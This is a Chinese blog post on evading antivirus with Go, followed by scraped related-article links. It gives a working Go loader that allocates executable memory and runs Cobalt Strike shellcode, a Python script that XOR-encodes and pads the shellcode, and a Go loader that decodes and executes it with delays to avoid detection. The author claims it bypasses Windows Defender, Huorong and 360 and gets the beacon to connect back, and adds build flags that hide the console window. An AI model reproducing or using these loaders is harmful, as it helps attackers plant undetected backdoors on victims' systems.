0x01 go免杀

由于各种av的限制,我们在后门上线或者权限持久化时很容易被杀软查杀,容易引起目标的警觉同时暴露了自己的ip。尤其是对于windows目标,一个免杀的后门极为关键,如果后门文件落不了地,还怎么能进一步执行呢?关于后门免杀,网上的介绍已经很多了,原理其实大同小异。看了很多网上的案例,发现网上比较多都是用C/C++和python来进行免杀,但是很多已经被杀软看的死死的,

非常容易就被识别出来了,那我想能不能用一种稍微小众一点的语言来写免杀呢,这里就不得不说到go语言。

Go语言专门针对多处理器系统应用程序的编程进行了优化,使用Go编译的程序可以媲美C或C++代码的速度,而且更加安全、支持并行进程。而且go语言支持交叉编译可以跨平台。

本文基于cobalt strike生成的.c文件来进行免杀测试。

0x02 免杀测试

首先生成成一个.C文件





这里先贴一个最原始的go加载代码

package main

import (
"syscall"
"unsafe"
) const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40 // 区域可以执行代码,应用程序可以读写该区域。
) var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
) func main() {
xor_shellcode := []byte{0x89, 0x3d, 0xf6, 0x91, 0x85, 0x9d, 0xb9, 0x75, 0x75, 0x75, 0x34, 0x24, 0x34, 0x25, 0x27, 0x24, 0x23, 0x3d, 0x44, 0xa7, 0x10, 0x3d, 0xfe, 0x27, 0x15, 0x3d, 0xfe...} addr, _, err := VirtualAlloc.Call(0, uintptr(len(xor_shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&xor_shellcode[0])), uintptr(len(xor_shellcode)))
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
syscall.Syscall(addr, 0, 0, 0, 0)
}

这里注意:因为杀软对直接加载shellcode的一般都是落地秒,所以我们得换种方式,将shellcode混淆加密后再解密来使用。

加密和混淆经常使用的有异或加密,AES加密,或者添加随机字符等。

但是随着现在使用这种方法的人越来越多,杀软检测力度也越来越大,所以现在混淆的关键就是方式尽量要小众,或者自己写加密方法。

这里有个好的地方就是,现在网上实现加密混淆操作的大都是使用C/C++来完成的,有些比较好的思路用C/C++实现可能会被杀软拦截,但是如果把它移植到go上面说不定就有不一样的效果。

先从整个shellcode混淆的脚本

def xor(shellcode, key):
new_shellcode = ""
key_len = len(key)
# 对shellcode的每一位进行xor亦或处理
for i in range(0, len(shellcode)):
s = ord(shellcode[i])
p = ord((key[i % key_len]))
s = s ^ p # 与p异或,p就是key中的字符之一
s = chr(s)
new_shellcode += s
return new_shellcode def random_decode(shellcode):
j = 0
new_shellcode = ""
for i in range(0,len(shellcode)):
if i % 2 == 0:
new_shellcode[i] = shellcode[j]
j += 1 return new_shellcode def add_random_code(shellcode, key):
new_shellcode = ""
key_len = len(key)
# 每个字节后面添加随机一个字节,随机字符来源于key
for i in range(0, len(shellcode)):
#print(ord(shellcode[i]))
new_shellcode += shellcode[i]
# print("&"+hex(ord(new_shellcode[i])))
new_shellcode += key[i % key_len] #print(i % key_len)
return new_shellcode # 将shellcode打印输出
def str_to_hex(shellcode):
raw = ""
for i in range(0, len(shellcode)):
s = hex(ord(shellcode[i])).replace("0x",',0x')
raw = raw + s
return raw if __name__ == '__main__':
shellcode = ""
# 这是异或和增加随机字符使用的key
key = "iqe"
print(shellcode[0])
print(len(shellcode))
# 首先对shellcode进行异或处理
shellcode = xor(shellcode, key)
print(len(shellcode)) # 然后在shellcode中增加随机字符
shellcode = add_random_code(shellcode, key) # 将shellcode打印出来
print(str_to_hex(shellcode))

加密shellcode后,再使用go语言加载混淆后的shellcode,先解密再执行。

package main

import (
"fmt"
"syscall"
"time"
"unsafe"
) const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40 // 区域可以执行代码,应用程序可以读写该区域。 ) var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
) func main() {
mix_shellcode := []byte{0x95,0x69,0x39,0x71,0xe6,0x65}
var ttyolller []byte
key := []byte("iqe")
var key_size = len(key)
var shellcode_final []byte
var j = 0
time.Sleep(2)
// 去除垃圾代码
fmt.Print(len(mix_shellcode))
for i := 0; i < len(mix_shellcode); i++ {
if (i % 2 == 0) {
shellcode_final = append(shellcode_final,mix_shellcode[i])
j += 1
}
}
time.Sleep(3)
fmt.Print(shellcode_final)
// 解密异或
for i := 0; i < len(shellcode_final); i++ {
ttyolller = append(ttyolller, shellcode_final[i]^key[i % key_size])
}
time.Sleep(3)
addr, _, err := VirtualAlloc.Call(0, uintptr(len(ttyolller)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
time.Sleep(3)
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&ttyolller[0])), uintptr(len(ttyolller)))
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
syscall.Syscall(addr, 0, 0, 0, 0)
}

直接go build生成exe文件

生成的文件大概有2M,再经过UPX压缩后大概只有1M,这比python生成的要小很多了。



静态完美过WindowsDefender,火绒和360全家桶





可以正常上线



VT查杀率71/8



可以看到国内的就一款杀软查出来了

后记

用go编译的exe文件执行后会弹出黑框这里有两个解决办法

  • 在initial_beacon中设置auto migrate,但还得连带把initial sleep设置成尽可能短
  • build时添加操作选项:-ldflags="-H windowsgui"

参考

https://payloads.online/archivers/2019-11-10/1

https://saucer-man.com/operation_and_maintenance/465.html#cl-5

http://iv4n.cc/go-shellcode-loader/#shellcode-loader

https://payloads.online/archivers/2019-11-10/3

go免杀初探的更多相关文章

  1. 【黑客免杀攻防】读书笔记7 - 软件逆向工程基础1(函数调用约定、Main函数查找)

    0x1 准备工作 1.1.准备工具 IDA:交互式反汇编工具 OllyDbg:用户层调试工具 Visual Studio:微软开发工具 1.2.基础知识 C++开发 汇编语言 0x2 查找真正的mai ...

  2. 免杀后门之MSF&Veil-Evasion的完美结合

    本文由“即刻安全”投稿到“玄魂工作室” Veil-Evasion 是 Veil-Framework 框架的一部分,也是其主要的项目.利用它我们可以生成绕过杀软的 payload !kali 上并未安装 ...

  3. PHP一句话过狗、卫士、D盾等免杀思路!

    原文转载于:http://www.legendsec.org/1701.html 觉得写得还算蛮科普的. 00x1.关键字拆分.         比如assert,可以写成 ‘a’.’ss’.’e’. ...

  4. Atitit.木马病毒的免杀原理---sikuli 的使用

    Atitit.木马病毒的免杀原理---sikuli 的使用 1. 使用sikuli java api1 1.1. 3. Write code!1 2. 常用api2 2.1. wait 等待某个界面出 ...

  5. Atitit.木马 病毒 免杀 技术 360免杀 杀毒软件免杀 原理与原则 attilax 总结

    Atitit.木马 病毒 免杀 技术 360免杀 杀毒软件免杀 原理与原则 attilax 总结 1. ,免杀技术的用途2 1.1. 病毒木马的编写2 1.2. 软件保护所用的加密产品(比如壳)中,有 ...

  6. 浅谈C++源码的过国内杀软的免杀

    以下只是简单的思路和定位.也许有人秒过,但是不要笑话我写的笨方法.定位永远是过期不了的. 其实这里废话一下 , 本人并不是大牛 ,今天跟大家分享下 .所以写出这篇文章.(大牛飘过) 只是个人实战的经验 ...

  7. lcx源代码以及免杀的研究

    之前和Random大神讨论了一下免杀的问题,他给出了一个比较不错的想法,使用debug版本发布可以过很多杀软.顺便看了下lcx的源码,发现其代码不算特别复杂,于是乎就在这分析一下. 报毒情况 因为使用 ...

  8. 绕过网站安全狗拦截,上传Webshell技巧总结(附免杀PHP一句话)

    这篇文章我介绍一下我所知道的绕过网站安全狗上传WebShell的方法. 思路是:修改HTTP请求,构成畸形HTTP请求,然后绕过网站安全狗的检测. 废话不多说,切入正题.... 1.实验环境: Win ...

  9. Exp3免杀原理与实践 20164312 马孝涛

    1.实验要求   1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编 ...

随机推荐

  1. thinkpad8平板安装win10系统

    ThinkPad8 因为是平板电脑,只有一个micro USB接口,常规安装没法使用鼠标或键盘进行输入,所以难倒很多人. 幸好前段时间买了根otg线和3.0usb hub,安装方法记录如下: 准备:U ...

  2. 与图论的邂逅06:dfs找环

    当我在准备做基环树的题时,经常有了正解的思路确发现不会找环,,,,,,因为我实在太蒻了. 所以我准备梳理一下找环的方法: 有向图 先维护一个栈,把遍历到的节点一个个地入栈.当我们从一个节点x回溯时无非 ...

  3. 利用sklearn进行字典&文本的特征提取

    写在前面 这篇博客主要内容: 应用DictVectorizer实现对类别特征进行数值化.离散化 应用CountVectorizer实现对文本特征进行数值化 特征提取API sklearn.featur ...

  4. guava eventbus 原理+源码分析

    前言: guava提供的eventbus可以很方便的处理一对多的事件问题, 最近正好使用到了,做个小结,使用的demo网上已经很多了,不再赘述,本文主要是源码分析+使用注意点+新老版本eventbus ...

  5. ES6在工作中会用到的核心知识点讲解

    一.var, let, const 谈到ES6,估计大家首先肯定会想到var,let,const 咱就先谈谈这三者的区别 var a = 3; { var a = 4; } console.log(a ...

  6. FPGA仿真的概念及语法特点

    以下是特权同学<FPGA设计+实战演练>书中的描述:      一个正规的设计需要花费在验证上的工作量,往往可能会占到整个开发流程的70%左右.验证通常分为仿真验证和板机验证.      ...

  7. python(pymysql操作数据库)

    第一种方式 import pymysql # 打开数据库连接 db = pymysql.connect(host="192.168.88.11", user="root& ...

  8. 全栈性能测试修炼宝典-JMeter实战笔记(二)

    性能测试初体验 性能测试实质:利用工具去模拟大量用户操作来验证系统能够承受的负载情况,找出潜在的性能问题,分析并解决:找出系统性能变化趋势,为后续的扩展提供参考 测试分类 测试内容中,负载测试.压力测 ...

  9. 如何实现new,call,apply,bind的底层原理。

    new做了什么? new是用来实例化对象的,当new了一个对象后 1.创建一个新对象 2.将构造函数的作用域赋值给新对象(this指向新对象) 3.执行构造函数里面的代码(为这个新对象添加属性) 4. ...

  10. Serverless对研发效能的变革和创新 云托管和Serverless应用差异

    https://mp.weixin.qq.com/s/J4RXtKanh3IMr4fY7t0nyQ Serverless对研发效能的变革和创新 杨皓然(不瞋) 阿里巴巴中间件 2020-10-23